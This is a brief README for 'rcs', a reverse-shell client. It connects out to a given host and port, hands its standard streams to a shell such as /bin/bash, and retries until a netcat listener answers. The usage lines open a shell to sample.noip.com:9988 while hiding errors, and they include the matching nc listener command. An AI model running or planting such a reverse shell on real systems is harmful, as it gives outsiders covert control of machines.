Remote Client Shell
Process ('rcs') starts a conection. If any server responses, the client duplicate STDIN_FILENO, STDOUT_FILENO, and STDERR_FILENO and execve() a new process specified at 'rcs' parameters (maybe '/bin/bash').
'rcs' connection request is able to retried (parameter) and sleep (parameter) at each connect() fails, waiting the server goes listenning.
Usage: $ ./rcs <IP> <PORT> <SHELL> <N_RETRY_CONNECT> <RETRY_SECONDS> $ ./rcs sample.noip.com 9988 '/bin/bash' 10 5 2>/dev/null Remote (netcat) usage: nc -nvlp <PORT> $ nc -nvlp 9988